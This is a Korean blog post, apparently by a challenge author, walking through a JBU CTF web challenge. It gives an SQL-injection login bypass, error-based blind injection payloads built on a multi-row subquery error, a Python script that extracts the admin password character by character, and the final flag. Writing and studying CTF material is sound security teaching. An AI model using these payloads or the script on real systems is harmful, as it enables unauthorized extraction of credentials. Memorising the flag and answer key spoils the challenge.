본문으로 바로가기

중부 시크릿 페스티벌 (2022)

category JBU CTF 출제(web) 2022. 11. 1. 15:28

문제명:중부 시크릿 페스티벌

문제파일

  • /css(디렉토리)
  • main.php
  • secret.php
  • func.php
  • dbinfo.php

문제

내이름은 MinSu 남들은 모르는 엄청난 라인업의 시크릿 축제가 열린다는 것을 알았다!!

 

비밀코드를 알아내서 MinSu 란 이름으로 축제에 참가하자!!

 

 

어..? 코딩실수 인가 오른쪽 아래 저건 뭐지..?

+(secret code는 admin의 pw이다.)

 

 

문제파일:미제공

 

 

 

난이도(중상)

 

 

문제취지

  • 가벼운 sqli에 대한 이해
  • php pw에 대한 필터링 이해
  • Direct Error based SQL Injection 이해

풀이방법

1.문제를 들어가게 된다면 축제 라인업과 입장 코드 입력이 나온다.

2.페이지의 오른쪽 아래 하단을 보면 pw_easy로 입력받는 입력값을 거의 필터링 안하는것을 알수 있다

3.따라서 간단한 sqli 문을 입력해주면 다음 secret page로 넘어가게 된다.

 

3-1 html의 소스를 봐서 secret 페이지로 바로 들어가려하면 다음과 같이 member가 아니라고 뜬다(처음 enter code를 우회해야 쿠키가 생겨서 secret 페이지로 이동할수있다.)

4. secret 페이지도 힌트처럼 소스가 일부분 보이는데 잘 보면 필터링이 있다는 것과 db오류시 exit()함수가 실행되는것을 알수있다.

5.따라서 오류를 이용한 Direct Error based SQL Injection 를 하면된다.

간단한 오류sql

select pw from secret where id='admin' and pw='' or id='admin' and (select 1 union select (1=1))

=> 서브쿼리에 여러줄이 나올수 없는 에러를 활용(1이면 앞과 뒤 둘다 1이여서 1줄이지만 false면 1과 0 값이두개라 에러가 난다.)

5-1 에러가 나는 모습

6. 따라서 다음과 같이 pw 자리에 sql 문을 넣어서 참임을 확인하며 pw를 알아낸다.

pw= ' or id='admin' and (select 1 union select (length(pw)=153))#

pw= ' or id='admin' and (select 1 union select (ord(mid(pw,1,1))=100))#

6-1.스크립트를 이용하면 수월하게 알아낼수있다(일부로 pw를 길게 설정해 스크립트이용을 유도했다).

6-2 사용한 python script

import requests

url = "http://127.0.0.1:8080/JBUfestival/secret.php" #ctf url
session = {'SECRETCOOKIE' : 'SCN12NOoinw3238NCOEO3u'}  #로그인 쿠키

r_data = {}

data={}
flag=""
 


#길이 구하기
for i in range(1,200):
      r_data['pw']="' or id='admin' and (select 1 union select (length(pw)='"+str(i)+"'))#"
      res = requests.get(url, params=r_data)
      if "secret" in res.text:
         print("password_length="+str(i))
         break



#password 구하기
 
for i in range(1,200):
   for j in range(32,127):
      data['pw']="' or id='admin' and (select 1 union select ord(mid(pw,"+str(i)+",1))='"+str(j)+"')#"
      res = requests.get(url, params=data)
      if "secret" in res.text:
         print("password["+str(i)+"]:"+chr(j))
         flag = flag + chr(j)
         break
 

print("full_falg:"+flag)

7.마지막으로 id에 MinSu를 입력하고 알아낸 pw를 입력하면 flag를 획득!

flag

scp{dn1o2_12dwsDS21_xQ12}

 

힌트

  1. 꼭 main페이지를 통해 secret 페이지에 접속해라.
  2. if(mysqli_error($conn)) exit();
  3. 스크립트를 활용해라(pw가 상당히 길다.)

'JBU CTF 출제(web)' 카테고리의 다른 글

잠만 이거 A+ 각인데! (2020)  (0) 2022.11.01
(๑˃̵ᴗ˂̵) (2020)  (0) 2022.11.01
원래 문제 풀이를 하려했지만...  (0) 2020.06.01